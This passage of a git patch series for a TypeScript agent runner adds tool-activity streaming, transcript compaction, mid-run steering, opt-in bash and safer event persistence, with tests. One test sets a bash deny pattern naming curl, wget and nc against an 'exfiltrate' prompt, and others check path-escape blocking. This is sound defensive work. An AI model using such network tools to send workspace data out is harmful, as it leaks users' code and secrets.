...(opts.signal ? { signal: opts.signal } : {}), + ...(opts.onActivity ? { onActivity: opts.onActivity } : {}), }); return { actor, critic }; diff --git a/src/adapters/runnerRoles.ts b/src/adapters/runnerRoles.ts index f9d57ea..8389a06 100644 --- a/src/adapters/runnerRoles.ts +++ b/src/adapters/runnerRoles.ts @@ -3,8 +3,9 @@ import { PlanSchema } from "../schemas/plan.js"; import type { TaskSpec } from "../schemas/plan.js"; import type { Finding } from "../schemas/critic.js"; import type { TaskArtifactBundle } from "../schemas/artifact.js"; -import type { AgentRunner } from "../runners/agentRunner.js"; +import type { AgentRunner, RunnerActivity } from "../runners/agentRunner.js"; import { parseLastValidJson, type JsonParseResult } from "../engine/jsonExtract.js"; +import type { RoleName, RunnerActivityEvent } from "../observability/events.js"; import type { Actor, ActorBuildResult, @@ -66,6 +67,8 @@ export interface RunnerActorOptions { log?: (line: string) => void; /** cooperative cancellation, threaded into every runner call */ signal?: AbortSignal; + /** sink for mid-call runner activity (sub-step streaming), if any */ + onActivity?: (e: RunnerActivityEvent) => void; } export interface RunnerCriticOptions { @@ -74,6 +77,34 @@ export interface RunnerCriticOptions { log?: (line: string) => void; /** cooperative cancellation, threaded into every runner call */ signal?: AbortSignal; + /** sink for mid-call runner activity (sub-step streaming), if any */ + onActivity?: (e: RunnerActivityEvent) => void; +} + +/** + * Builds the per-call `onEvent` sink that enriches a runner's vendor-neutral + * {@link RunnerActivity} with the role + runner identity before forwarding it + * to the role's activity sink. Returns undefined when no sink is configured, so + * runners that stream skip the work entirely. + */ +function activityForwarder( + runner: AgentRunner, + role: RoleName, + onActivity: ((e: RunnerActivityEvent) => void) | undefined, +): ((a: RunnerActivity) => void) | undefined { + if (!onActivity) return undefined; + return (a: RunnerActivity) => + onActivity({ + role, + runnerId: runner.profile.id, + model: runner.profile.model, + phase: a.phase, + ...(a.toolName !== undefined ? { toolName: a.toolName } : {}), + ...(a.toolCallId !== undefined ? { toolCallId: a.toolCallId } : {}), + ...(a.isError !== undefined ? { isError: a.isError } : {}), + ...(a.turn !== undefined ? { turn: a.turn } : {}), + at: a.at, + }); } /** Actor role backed by an AgentRunner + prompt templates. */ @@ -84,6 +115,8 @@ export class RunnerActor implements Actor { private readonly repairOnce: boolean; private readonly log: ((line: string) => void) | undefined; private readonly signal: AbortSignal | undefined; + /** per-call activity sink, enriched with role identity (undefined = off) */ + private readonly onEvent: ((a: RunnerActivity) => void) | undefined; constructor(runner: AgentRunner, opts: RunnerActorOptions = {}) { this.runner = runner; @@ -92,6 +125,7 @@ export class RunnerActor implements Actor { this.repairOnce = opts.repairOnce ?? true; this.log = opts.log; this.signal = opts.signal; + this.onEvent = activityForwarder(runner, "actor", opts.onActivity); } async draftPlan(goal: string, feedback?: Finding[]): Promise { @@ -128,6 +162,7 @@ export class RunnerActor implements Actor { cwd: cwd ?? this.cwd, system: this.prompts.system, ...(this.signal ? { signal: this.signal } : {}), + ...(this.onEvent ? { onEvent: this.onEvent } : {}), }); return { text: res.text, quotaExhausted: res.quotaExhausted }; } @@ -144,6 +179,7 @@ export class RunnerActor implements Actor { cwd, system: this.prompts.system, ...(this.signal ? { signal: this.signal } : {}), + ...(this.onEvent ? { onEvent: this.onEvent } : {}), }); if (res.quotaExhausted) { throw new RunnerRoleError(`Actor ${what} failed: runner quota exhausted.`, { @@ -159,6 +195,7 @@ export class RunnerActor implements Actor { cwd, system: this.prompts.system, ...(this.signal ? { signal: this.signal } : {}), + ...(this.onEvent ? { onEvent: this.onEvent } : {}), }); if (res.quotaExhausted) { throw new RunnerRoleError(`Actor ${what} failed: runner quota exhausted.`, { @@ -181,12 +218,15 @@ export class RunnerCritic implements Critic { private readonly prompts: CriticPromptTemplates; private readonly cwd: string; private readonly signal: AbortSignal | undefined; + /** per-call activity sink, enriched with role identity (undefined = off) */ + private readonly onEvent: ((a: RunnerActivity) => void) | undefined; constructor(runner: AgentRunner, opts: RunnerCriticOptions = {}) { this.runner = runner; this.prompts = opts.prompts ?? DEFAULT_CRITIC_PROMPTS; this.cwd = opts.cwd ?? "."; this.signal = opts.signal; + this.onEvent = activityForwarder(runner, "critic", opts.onActivity); } /** @@ -205,6 +245,7 @@ export class RunnerCritic implements Critic { cwd: cwd ?? this.cwd, system: this.prompts.system, ...(this.signal ? { signal: this.signal } : {}), + ...(this.onEvent ? { onEvent: this.onEvent } : {}), }); return { text: res.text, quotaExhausted: res.quotaExhausted }; } diff --git a/src/observability/events.ts b/src/observability/events.ts index dcb6bc9..c248cee 100644 --- a/src/observability/events.ts +++ b/src/observability/events.ts @@ -32,10 +32,29 @@ export interface RunnerCallEvent { at: string; } +/** + * A mid-call activity signal from a runner's inner agentic loop (sub-step + * streaming), attributed to the role and runner that produced it. Emitted as + * the model calls tools so a monitor can show live progress within a single + * runner call, rather than waiting for the final result. + */ +export interface RunnerActivityEvent { + role: RoleName; + runnerId: string; + model: string; + phase: "turn_start" | "tool_start" | "tool_end"; + toolName?: string; + toolCallId?: string; + isError?: boolean; + turn?: number; + at: string; +} + export const EVENT_TYPES = { sessionStarted: "session_started", planReviewed: "plan_reviewed", runnerCall: "runner_call", + runnerActivity: "runner_activity", sessionFinished: "session_finished", integration: "integration", publish: "publish", diff --git a/src/runners/agentRunner.ts b/src/runners/agentRunner.ts index 9543849..c80b0ea 100644 --- a/src/runners/agentRunner.ts +++ b/src/runners/agentRunner.ts @@ -56,6 +56,40 @@ export interface RunRequest { * long model call returns promptly instead of waiting for the runner timeout. */ signal?: AbortSignal; + /** + * Optional sink for mid-call activity (sub-step streaming). Backends that run + * an inner agentic loop (e.g. the native agent runner) emit a {@link RunnerActivity} + * as the model calls tools, so the engine can surface live progress instead of + * a single opaque result. Single-shot backends (CLI/HTTP) simply ignore it. + */ + onEvent?: (activity: RunnerActivity) => void; + /** + * Optional steering registration. Called once at the start of a run with a + * `steer(text)` function bound to the live inner loop; the caller (a human + * "nudge", a supervisor) may invoke it at any time while the run is in flight + * to inject guidance that takes effect after the current turn. Backends with + * no inner loop ignore it. + */ + steering?: (steer: (text: string) => void) => void; +} + +/** + * A mid-call progress signal from a runner's inner loop. Vendor-neutral and + * role-agnostic: the runner reports WHAT happened (a tool started/finished, a + * turn began); the role layer enriches it with the role/runner identity before + * it reaches the event stream. + */ +export interface RunnerActivity { + phase: "turn_start" | "tool_start" | "tool_end"; + /** present for tool_start/tool_end */ + toolName?: string; + /** correlates a tool_start with its tool_end */ + toolCallId?: string; + /** present on tool_end: whether the tool reported an error */ + isError?: boolean; + /** 1-based turn number, present on turn_start */ + turn?: number; + at: string; } export interface RunResult { diff --git a/src/runners/piAgentRunner.ts b/src/runners/piAgentRunner.ts index 332861d..10d39ae 100644 --- a/src/runners/piAgentRunner.ts +++ b/src/runners/piAgentRunner.ts @@ -9,7 +9,15 @@ import type { import { redactAndTruncate } from "../engine/redaction.js"; import { Agent } from "@earendil-works/pi-agent-core"; -import type { AgentEvent, AgentTool, AgentToolResult } from "@earendil-works/pi-agent-core"; +import type { AgentEvent, AgentMessage, AgentTool, AgentToolResult } from "@earendil-works/pi-agent-core"; +import { + convertToLlm, + createCompactionSummaryMessage, + estimateContextTokens, + estimateTokens, + generateSummary, + shouldCompact, +} from "@earendil-works/pi-agent-core"; import { NodeExecutionEnv } from "@earendil-works/pi-agent-core/node"; import type { ExecutionEnv } from "@earendil-works/pi-agent-core/node"; import { @@ -106,6 +114,107 @@ const SafetySchema = z .strict() .default({ confineToCwd: true }); +/** + * Context-compaction policy for the inner loop. Long agent runs accumulate big + * tool transcripts that can exceed the model's context window; when triggered, + * the older middle of the transcript is summarized (via pi's `generateSummary`) + * and replaced with a single summary message, keeping the initial prompt and a + * recent tail. Off by default per call only in the sense that it never fires + * until the context is actually large. + */ +const CompactionOptionsSchema = z + .object({ + /** enable automatic compaction decisions */ + enabled: z.boolean().default(true), + /** + * Force compaction once the estimated context exceeds this many tokens. + * When unset, pi's `shouldCompact` decides against the model's context + * window (this knob mainly exists for deterministic testing/tuning). + */ + thresholdTokens: z.number().int().positive().optional(), + /** approximate recent-context tokens to keep after compaction */ + keepRecentTokens: z.number().int().positive().default(4_000), + /** tokens reserved for the summary prompt + output */ + reserveTokens: z.number().int().positive().default(2_000), + }) + .strict() + .default({ enabled: true }); + +export type CompactionOptions = z.infer; + +/** + * Chooses where to cut the transcript for compaction: walk back from the end + * accumulating recent tokens until `keepRecentTokens` is met, then snap BACK to + * the assistant message that starts that turn, so the retained tail begins at a + * turn boundary (never a dangling toolResult whose tool call was summarized + * away). Returns the index where the retained tail begins (>= 1, keeping the + * initial prompt at messages[0]). + */ +export function findCompactionCut(messages: AgentMessage[], keepRecentTokens: number): number { + let acc = 0; + let cut = messages.length; + for (let i = messages.length - 1; i >= 1; i--) { + acc += estimateTokens(messages[i] as AgentMessage); + cut = i; + if (acc >= keepRecentTokens) break; + } + while (cut > 1 && (messages[cut] as AgentMessage).role !== "assistant") cut--; + return cut; +} + +/** + * Builds an Agent `transformContext` that compacts the transcript when it grows + * past the configured budget, using pi's message-level summarization. Best + * effort: any failure (or nothing safe to summarize) returns the messages + * unchanged, so compaction can never break a run. Exported for direct testing. + */ +export function createCompactionTransform( + opts: CompactionOptions, + model: Model, + apiKey: string | undefined, + thinkingLevel: PiAgentRunnerOptions["thinkingLevel"] = "off", +): ((messages: AgentMessage[], signal?: AbortSignal) => Promise) | undefined { + if (!opts.enabled) return undefined; + const settings = { + enabled: true, + reserveTokens: opts.reserveTokens, + keepRecentTokens: opts.keepRecentTokens, + }; + return async (messages, signal) => { + // Need at least: prompt + one full assistant/toolResult turn + something to keep. + if (messages.length < 4) return messages; + + const est = estimateContextTokens(messages); + const trigger = + opts.thresholdTokens !== undefined + ? est.tokens > opts.thresholdTokens + : shouldCompact(est.tokens, model.contextWindow, settings); + if (!trigger) return messages; + + const cut = findCompactionCut(messages, opts.keepRecentTokens); + // Keep messages[0] (the task prompt); summarize the middle; keep the tail. + if (cut <= 1 || cut >= messages.length) return messages; // nothing safe to drop + + const toSummarize = messages.slice(1, cut); + const tail = messages.slice(cut); + const result = await generateSummary( + toSummarize, + model, + opts.reserveTokens, + apiKey ?? "", + undefined, + signal, + undefined, + undefined, + thinkingLevel, + ); + if (!result.ok) return messages; // best effort: keep full context on failure + + const summary = createCompactionSummaryMessage(result.value, est.tokens, new Date().toISOString()); + return [messages[0] as AgentMessage, summary, ...tail]; + }; +} + export const PiAgentRunnerOptionsSchema = z .object({ /** provider id for pi-ai model resolution, e.g. "anthropic", "openai", "google" */ @@ -122,6 +231,8 @@ export const PiAgentRunnerOptionsSchema = z tools: z.array(z.enum(PI_AGENT_TOOL_NAMES)).optional(), /** tool-call permission policy (path confinement + bash denylist) */ safety: SafetySchema, + /** context compaction policy for long inner loops */ + compaction: CompactionOptionsSchema, /** rolling cap on the captured final answer text */ maxOutputChars: z.number().int().positive().default(2_000_000), }) @@ -325,6 +436,16 @@ export class PiAgentRunner implements AgentRunner { const apiKey = this.apiKey(); + // Context compaction (pi transformContext): summarize the older transcript + // when the inner loop grows past budget. When enabled we also adopt pi's + // convertToLlm so the inserted compactionSummary message renders correctly. + const transformContext = createCompactionTransform( + this.opts.compaction, + model, + apiKey, + this.opts.thinkingLevel, + ); + // Permission gate (pi's beforeToolCall hook): confine file tools to the // worktree and apply the optional bash denylist. A blocked call becomes an // error tool result the model sees and can recover from. @@ -341,6 +462,7 @@ export class PiAgentRunner implements AgentRunner { tools: this.buildTools(env), }, ...(this.deps.streamFn ? { streamFn: this.deps.streamFn } : {}), + ...(transformContext ? { transformContext, convertToLlm } : {}), getApiKey: () => apiKey, beforeToolCall: async ({ toolCall, args }) => { const name = (toolCall as { name: string }).name as PiAgentToolName; @@ -369,13 +491,30 @@ export class PiAgentRunner implements AgentRunner { let abortedForLimit = false; const usage = { input: 0, output: 0, total: 0 }; let lastQuotaText = ""; + const emit = req.onEvent; const unsubscribe = agent.subscribe((event: AgentEvent) => { if (event.type === "turn_start") { turns++; + emit?.({ phase: "turn_start", turn: turns, at: new Date().toISOString() }); if (turns > this.opts.maxTurns) { abortedForLimit = true; agent.abort(); } + } else if (event.type === "tool_execution_start") { + emit?.({ + phase: "tool_start", + toolName: event.toolName, + toolCallId: event.toolCallId, + at: new Date().toISOString(), + }); + } else if (event.type === "tool_execution_end") { + emit?.({ + phase: "tool_end", + toolName: event.toolName, + toolCallId: event.toolCallId, + isError: event.isError, + at: new Date().toISOString(), + }); } else if (event.type === "message_end" && event.message.role === "assistant") { const m = event.message as AssistantMessage; usage.input += m.usage?.input ?? 0; @@ -387,6 +526,15 @@ export class PiAgentRunner implements AgentRunner { let cancelled = false; let timedOut = false; + let steerCount = 0; + // Steering: hand the caller a `steer(text)` bound to this live loop. A + // nudge is queued and injected after the current turn (pi's steering + // semantics), so a human/supervisor can redirect a long run without + // cancelling it. + req.steering?.((text: string) => { + steerCount++; + agent.steer({ role: "user", content: text, timestamp: Date.now() }); + }); const onAbort = (): void => { cancelled = true; agent.abort(); @@ -434,6 +582,7 @@ export class PiAgentRunner implements AgentRunner { turns, abortedForLimit, blockedToolCalls, + steerCount, cancelled, timedOut, // shape understood by observability/events.ts normalizeUsage() diff --git a/src/session.ts b/src/session.ts index a61656d..0f6b613 100644 --- a/src/session.ts +++ b/src/session.ts @@ -19,6 +19,7 @@ import type { Store, SessionStatus } from "./storage/store.js"; import { storeObserver, combineObservers } from "./storage/checkpoint.js"; import type { RunnerCallSink } from "./observability/instrument.js"; import { EVENT_TYPES } from "./observability/events.js"; +import type { RunnerActivityEvent } from "./observability/events.js"; /** * End-to-end run (Task 15): goal -> reviewed plan -> per-task actor-critic loop @@ -148,9 +149,23 @@ export async function runGoal( data: e as unknown as Record, }) : roleOpts.onRunnerCall; + // Mid-call runner activity (sub-step streaming): tool calls from a native + // agent runner's inner loop flow to the same event stream, so the monitor + // (and the durable trace) see live progress within a single runner call. + const onActivity: ((e: RunnerActivityEvent) => void) | undefined = + store && sessionId + ? (e) => + store.recordEvent({ + sessionId, + at: e.at, + type: EVENT_TYPES.runnerActivity, + data: e as unknown as Record, + }) + : roleOpts.onActivity; const { actor, critic } = createRoles(config, { ...roleOpts, ...(onRunnerCall ? { onRunnerCall } : {}), + ...(onActivity ? { onActivity } : {}), ...(signal ? { signal } : {}), }); diff --git a/test/piAgentCompaction.test.ts b/test/piAgentCompaction.test.ts new file mode 100644 index 0000000..be611f7 --- /dev/null +++ b/test/piAgentCompaction.test.ts @@ -0,0 +1,117 @@ +import { describe, it, expect, beforeEach, afterEach } from "vitest"; +import { + registerFauxProvider, + fauxAssistantMessage, + fauxToolCall, + type FauxProviderRegistration, +} from "@earendil-works/pi-ai"; +import type { AgentMessage } from "@earendil-works/pi-agent-core"; +import { + createCompactionTransform, + findCompactionCut, + type CompactionOptions, +} from "../src/runners/piAgentRunner.js"; + +/** + * Context compaction is the pi `transformContext` seam: when the transcript + * grows past budget, the older middle is summarized (via pi's generateSummary) + * and replaced with a single summary message, keeping the prompt + recent tail. + * Tested directly against the faux provider so the real summarization path runs + * offline and deterministically. + */ + +const ts = () => Date.now(); +const user = (text: string): AgentMessage => ({ role: "user", content: text, timestamp: ts() }); +const toolResult = (id: string, text: string): AgentMessage => ({ + role: "toolResult", + toolCallId: id, + toolName: "read_file", + content: [{ type: "text", text }], + isError: false, + timestamp: ts(), +}); +const assistantToolCall = (id: string): AgentMessage => + fauxAssistantMessage(fauxToolCall("read_file", { path: "f.txt" }, { id }), { stopReason: "toolUse" }); +const assistantText = (text: string): AgentMessage => + fauxAssistantMessage(text, { stopReason: "stop" }); + +/** A transcript as transformContext sees it: prompt + read turns, last message + * a toolResult (the state right before the next assistant turn). */ +function transcript(): AgentMessage[] { + const big = "x".repeat(4_000); + return [ + user("build the thing"), + assistantToolCall("c1"), + toolResult("c1", big), + assistantToolCall("c2"), + toolResult("c2", big), + assistantToolCall("c3"), + toolResult("c3", big), + ]; +} + +const opts = (over: Partial = {}): CompactionOptions => ({ + enabled: true, + keepRecentTokens: 50, + reserveTokens: 200, + ...over, +}); + +describe("findCompactionCut", () => { + it("snaps the retained-tail start to an assistant turn boundary", () => { + const msgs = transcript(); + const cut = findCompactionCut(msgs, 50); + expect(cut).toBeGreaterThan(0); + expect(cut).toBeLessThan(msgs.length); + expect(msgs[cut]?.role).toBe("assistant"); // never starts the tail on a dangling toolResult + }); + + it("keeps everything (cut at 1) when the budget covers the whole tail", () => { + const msgs = transcript(); + expect(findCompactionCut(msgs, 10_000_000)).toBe(1); + }); +}); + +describe("createCompactionTransform", () => { + let faux: FauxProviderRegistration; + beforeEach(() => { + faux = registerFauxProvider({ + provider: "faux", + models: [{ id: "faux-coder", contextWindow: 200_000, maxTokens: 8_192 }], + }); + }); + afterEach(() => faux.unregister()); + + it("returns undefined when compaction is disabled", () => { + expect(createCompactionTransform(opts({ enabled: false }), faux.getModel(), "k")).toBeUndefined(); + }); + + it("summarizes the middle and keeps prompt + recent tail when over threshold", async () => { + faux.setResponses([fauxAssistantMessage("COMPACTED SUMMARY", { stopReason: "stop" })]); + const transform = createCompactionTransform(opts({ thresholdTokens: 1 }), faux.getModel(), "k"); + expect(transform).toBeDefined(); + + const msgs = transcript(); + const out = await transform!(msgs); + + expect(out.length).toBeLessThan(msgs.length); + expect(out[0]).toBe(msgs[0]); // original prompt retained verbatim + expect(out[1]?.role).toBe("compactionSummary"); + expect((out[1] as { summary: string }).summary).toContain("COMPACTED SUMMARY"); + expect(out[2]?.role).toBe("assistant"); // retained tail starts on a turn boundary + }); + + it("leaves the transcript untouched when under threshold", async () => { + const transform = createCompactionTransform(opts({ thresholdTokens: 10_000_000 }), faux.getModel(), "k"); + const msgs = transcript(); + const out = await transform!(msgs); + expect(out).toBe(msgs); // same reference: no compaction performed + }); + + it("does not compact a transcript that is too short to have a safe cut", async () => { + const transform = createCompactionTransform(opts({ thresholdTokens: 1 }), faux.getModel(), "k"); + const msgs: AgentMessage[] = [user("hi"), assistantText("done")]; + const out = await transform!(msgs); + expect(out).toBe(msgs); + }); +}); diff --git a/test/piAgentRunner.test.ts b/test/piAgentRunner.test.ts index 8d8491e..f4361b0 100644 --- a/test/piAgentRunner.test.ts +++ b/test/piAgentRunner.test.ts @@ -10,6 +10,7 @@ import { } from "@earendil-works/pi-ai"; import { PiAgentRunner } from "../src/runners/piAgentRunner.js"; import { createRunner } from "../src/runners/runnerFactory.js"; +import type { RunnerActivity } from "../src/runners/agentRunner.js"; /** * These exercise the REAL pi Agent loop and the REAL file-editing tools, with @@ -132,6 +133,31 @@ describe("PiAgentRunner (native agentic runner)", () => { expect(r).toBeInstanceOf(PiAgentRunner); }); + it("streams tool activity (turn_start/tool_start/tool_end) via onEvent", async () => { + await writeFile(join(dir, "greeting.txt"), "hello world\n"); + faux.setResponses([ + fauxAssistantMessage( + fauxToolCall("edit_file", { path: "greeting.txt", old_str: "world", new_str: "pi" }), + { stopReason: "toolUse" }, + ), + fauxAssistantMessage("done", { stopReason: "stop" }), + ]); + + const activity: RunnerActivity[] = []; + await runner().run({ prompt: "edit", cwd: dir, onEvent: (a) => activity.push(a) }); + + const phases = activity.map((a) => a.phase); + expect(phases).toContain("turn_start"); + expect(phases).toContain("tool_start"); + expect(phases).toContain("tool_end"); + + const start = activity.find((a) => a.phase === "tool_start"); + const end = activity.find((a) => a.phase === "tool_end"); + expect(start?.toolName).toBe("edit_file"); + expect(end?.toolCallId).toBe(start?.toolCallId); // start/end correlate + expect(end?.isError).toBe(false); + }); + describe("permission gating (beforeToolCall)", () => { it("confines file tools to the worktree by default (blocks a parent-escape write)", async () => { faux.setResponses([ @@ -202,4 +228,44 @@ describe("PiAgentRunner (native agentic runner)", () => { expect(await readFile(join(dir, "allowed.txt"), "utf8")).toBe("ok\n"); }); }); + + describe("steering (nudge a running agent)", () => { + it("injects a mid-run steering message that reaches the next turn", async () => { + await writeFile(join(dir, "f.txt"), "data\n"); + // Turn 1 calls a tool; turn 2 is a factory that reports whether the + // steered text reached the model's context. + faux.setResponses([ + fauxAssistantMessage(fauxToolCall("read_file", { path: "f.txt" }), { stopReason: "toolUse" }), + (context) => { + const saw = JSON.stringify(context.messages).includes("STEER!"); + return fauxAssistantMessage(saw ? "got-steer" : "no-steer", { stopReason: "stop" }); + }, + ]); + + let steer: ((t: string) => void) | undefined; + let steered = false; + const res = await runner().run({ + prompt: "read the file", + cwd: dir, + steering: (s) => { + steer = s; + }, + onEvent: (a) => { + if (a.phase === "tool_start" && !steered) { + steered = true; + steer?.("STEER!"); + } + }, + }); + + expect(res.meta?.steerCount).toBe(1); + expect(res.text).toBe("got-steer"); // the nudge influenced the next turn + }); + + it("reports zero steers when no steering source is provided", async () => { + faux.setResponses([fauxAssistantMessage("done", { stopReason: "stop" })]); + const res = await runner().run({ prompt: "noop", cwd: dir }); + expect(res.meta?.steerCount).toBe(0); + }); + }); }); diff --git a/test/runnerRoles.test.ts b/test/runnerRoles.test.ts index fd09bc2..788f220 100644 --- a/test/runnerRoles.test.ts +++ b/test/runnerRoles.test.ts @@ -1,7 +1,8 @@ import { describe, it, expect } from "vitest"; import { RunnerActor, RunnerCritic, RunnerRoleError } from "../src/adapters/runnerRoles.js"; import { MockRunner } from "../src/runners/mockRunner.js"; -import type { RunnerProfile, RunResult } from "../src/runners/agentRunner.js"; +import type { AgentRunner, RunnerProfile, RunRequest, RunResult } from "../src/runners/agentRunner.js"; +import type { RunnerActivityEvent } from "../src/observability/events.js"; import type { TaskSpec } from "../src/schemas/plan.js"; import type { TaskArtifactBundle } from "../src/schemas/artifact.js"; import { loadConfig } from "../src/config.js"; @@ -219,3 +220,64 @@ describe("runner-backed roles drive the real loop", () => { expect(outcome.buildAttempts).toBe(2); }); }); + + +describe("runner activity streaming (sub-step events)", () => { + const ts = () => new Date().toISOString(); + + it("forwards actor runner activity enriched with the role + runner identity", async () => { + const runner: AgentRunner = { + profile, + async run(req: RunRequest): Promise { + req.onEvent?.({ phase: "turn_start", turn: 1, at: ts() }); + req.onEvent?.({ phase: "tool_start", toolName: "edit_file", toolCallId: "c1", at: ts() }); + req.onEvent?.({ phase: "tool_end", toolName: "edit_file", toolCallId: "c1", isError: false, at: ts() }); + return { text: buildJson("t1") }; + }, + }; + const events: RunnerActivityEvent[] = []; + const actor = new RunnerActor(runner, { onActivity: (e) => events.push(e) }); + + await actor.build(sampleTask, undefined, "."); + + expect(events.map((e) => e.phase)).toEqual(["turn_start", "tool_start", "tool_end"]); + expect(events.every((e) => e.role === "actor")).toBe(true); + expect(events.every((e) => e.runnerId === "p" && e.model === "test-model")).toBe(true); + const end = events.find((e) => e.phase === "tool_end"); + expect(end?.toolName).toBe("edit_file"); + expect(end?.toolCallId).toBe("c1"); + expect(end?.isError).toBe(false); + }); + + it("attributes critic runner activity to the critic role", async () => { + const runner: AgentRunner = { + profile, + async run(req: RunRequest): Promise { + req.onEvent?.({ phase: "tool_start", toolName: "read_file", toolCallId: "x", at: ts() }); + return { text: criticGreen().text }; + }, + }; + const events: RunnerActivityEvent[] = []; + const critic = new RunnerCritic(runner, { onActivity: (e) => events.push(e) }); + + await critic.review({ kind: "task", bundle: sampleBundle }); + + expect(events).toHaveLength(1); + expect(events[0]?.role).toBe("critic"); + expect(events[0]?.toolName).toBe("read_file"); + }); + + it("does no work and forwards nothing when no activity sink is configured", async () => { + let called = false; + const runner: AgentRunner = { + profile, + async run(req: RunRequest): Promise { + if (req.onEvent) called = true; // role must not pass an onEvent when sink is off + return { text: buildJson("t1") }; + }, + }; + const actor = new RunnerActor(runner); + await actor.build(sampleTask, undefined, "."); + expect(called).toBe(false); + }); +}); From f16defec8c7876019527ed340f59d8988155a87f Mon Sep 17 00:00:00 2001 From: Inzimam Date: Mon, 15 Jun 2026 06:55:03 +0000 Subject: [PATCH 4/5] Make bash opt-in and enforce maxTurns before increment - bash is no longer default-enabled: profiles must explicitly allowlist it via the tools option. Default-on tools are read/list/write/edit only, shrinking the prompt-injection / exfiltration surface. - maxTurns is now checked before incrementing the turn counter, so the cap is enforced strictly instead of overshooting by one turn. - Tests updated: denyBashPattern test opts into bash; added a test asserting bash is excluded by default. Addresses CodeRabbit review on PR #18. Co-authored-by: Inzimam Ul Haq <27832433+inhaq@users.noreply.github.com> --- src/runners/piAgentRunner.ts | 22 ++++++++++++++++++---- test/piAgentRunner.test.ts | 21 ++++++++++++++++++++- 2 files changed, 38 insertions(+), 5 deletions(-) diff --git a/src/runners/piAgentRunner.ts b/src/runners/piAgentRunner.ts index 332861d..5484101 100644 --- a/src/runners/piAgentRunner.ts +++ b/src/runners/piAgentRunner.ts @@ -68,6 +68,19 @@ export const PI_AGENT_TOOL_NAMES = [ ] as const; export type PiAgentToolName = (typeof PI_AGENT_TOOL_NAMES)[number]; +/** + * Tools enabled when a profile doesn't specify an explicit allowlist. `bash` + * is intentionally excluded: arbitrary shell execution by default materially + * widens the prompt-injection / exfiltration surface, so it must be opted into + * explicitly via the `tools` option. + */ +const DEFAULT_PI_AGENT_TOOL_NAMES: readonly PiAgentToolName[] = [ + "read_file", + "list_dir", + "write_file", + "edit_file", +] as const; + const ThinkingLevelSchema = z.enum(["off", "minimal", "low", "medium", "high", "xhigh"]); /** Tools whose first concern is a filesystem `path` argument. */ @@ -118,7 +131,7 @@ export const PiAgentRunnerOptionsSchema = z maxTurns: z.number().int().positive().default(60), /** overall wall-clock budget before the run is aborted */ timeoutMs: z.number().int().positive().default(10 * 60_000), - /** restrict the toolset; defaults to all of {@link PI_AGENT_TOOL_NAMES} */ + /** restrict the toolset; defaults to the file tools (bash is opt-in) */ tools: z.array(z.enum(PI_AGENT_TOOL_NAMES)).optional(), /** tool-call permission policy (path confinement + bash denylist) */ safety: SafetySchema, @@ -189,7 +202,7 @@ export class PiAgentRunner implements AgentRunner { /** Builds the allowlisted toolset bound to one execution env. */ private buildTools(env: ExecutionEnv): AgentTool[] { - const enabled = new Set(this.opts.tools ?? PI_AGENT_TOOL_NAMES); + const enabled = new Set(this.opts.tools ?? DEFAULT_PI_AGENT_TOOL_NAMES); const all: AgentTool[] = [ defineTool({ name: "read_file", @@ -371,11 +384,12 @@ export class PiAgentRunner implements AgentRunner { let lastQuotaText = ""; const unsubscribe = agent.subscribe((event: AgentEvent) => { if (event.type === "turn_start") { - turns++; - if (turns > this.opts.maxTurns) { + if (turns >= this.opts.maxTurns) { abortedForLimit = true; agent.abort(); + return; } + turns++; } else if (event.type === "message_end" && event.message.role === "assistant") { const m = event.message as AssistantMessage; usage.input += m.usage?.input ?? 0; diff --git a/test/piAgentRunner.test.ts b/test/piAgentRunner.test.ts index 8d8491e..a00160f 100644 --- a/test/piAgentRunner.test.ts +++ b/test/piAgentRunner.test.ts @@ -178,7 +178,10 @@ describe("PiAgentRunner (native agentic runner)", () => { }), fauxAssistantMessage("network blocked", { stopReason: "stop" }), ]); - const res = await runner({ safety: { denyBashPattern: "curl|wget|nc\\b" } }).run({ + const res = await runner({ + tools: ["read_file", "list_dir", "write_file", "edit_file", "bash"], + safety: { denyBashPattern: "curl|wget|nc\\b" }, + }).run({ prompt: "exfiltrate", cwd: dir, }); @@ -186,6 +189,22 @@ describe("PiAgentRunner (native agentic runner)", () => { expect(res.text).toBe("network blocked"); }); + it("does not expose bash by default (it must be opted into via `tools`)", async () => { + // With no explicit `tools`, bash is excluded, so a bash call is rejected + // by the tool layer (unknown tool) rather than executed. + faux.setResponses([ + fauxAssistantMessage(fauxToolCall("bash", { command: "echo hi" }), { + stopReason: "toolUse", + }), + fauxAssistantMessage("no bash", { stopReason: "stop" }), + ]); + const res = await runner().run({ prompt: "run a command", cwd: dir }); + // bash never ran: nothing was blocked by the permission gate because the + // tool isn't registered at all. + expect(res.meta?.blockedToolCalls ?? 0).toBe(0); + expect(res.text).toBe("no bash"); + }); + it("permits escapes when confineToCwd is disabled", async () => { // Writes to a path inside the temp dir but reached via a redundant '..', // proving the gate is what blocks (not the filesystem). With confinement From cc4c566778cfc834fd172e1043749da2fb2a0b75 Mon Sep 17 00:00:00 2001 From: Inzimam Date: Mon, 15 Jun 2026 06:56:58 +0000 Subject: [PATCH 5/5] Handle runner event persistence failures explicitly The onActivity (and the identical onRunnerCall) sink dropped the Promise from store.recordEvent, so a rejected persistence could surface as an unhandled rejection and destabilize the run under strict settings. Make the fire-and-forget intent explicit with void and catch failures, logging via opts.log. Addresses CodeRabbit review on PR #20. Co-authored-by: Inzimam Ul Haq <27832433+inhaq@users.noreply.github.com> --- src/session.ts | 44 ++++++++++++++++++++++++++++++-------------- 1 file changed, 30 insertions(+), 14 deletions(-) diff --git a/src/session.ts b/src/session.ts index 0f6b613..d84eb8a 100644 --- a/src/session.ts +++ b/src/session.ts @@ -141,26 +141,42 @@ export async function runGoal( // (Task 22). When persisting, calls are recorded to the store's event stream. const onRunnerCall: RunnerCallSink | undefined = store && sessionId - ? (e) => - store.recordEvent({ - sessionId, - at: e.at, - type: EVENT_TYPES.runnerCall, - data: e as unknown as Record, - }) + ? (e) => { + void store + .recordEvent({ + sessionId, + at: e.at, + type: EVENT_TYPES.runnerCall, + data: e as unknown as Record, + }) + .catch((err) => { + opts.log?.( + `failed to persist runner_call: ${String((err as Error)?.message ?? err)}`, + ); + }); + } : roleOpts.onRunnerCall; // Mid-call runner activity (sub-step streaming): tool calls from a native // agent runner's inner loop flow to the same event stream, so the monitor // (and the durable trace) see live progress within a single runner call. const onActivity: ((e: RunnerActivityEvent) => void) | undefined = store && sessionId - ? (e) => - store.recordEvent({ - sessionId, - at: e.at, - type: EVENT_TYPES.runnerActivity, - data: e as unknown as Record, - }) + ? (e) => { + // Fire-and-forget persistence: never let a rejected recordEvent + // surface as an unhandled rejection and destabilize the run. + void store + .recordEvent({ + sessionId, + 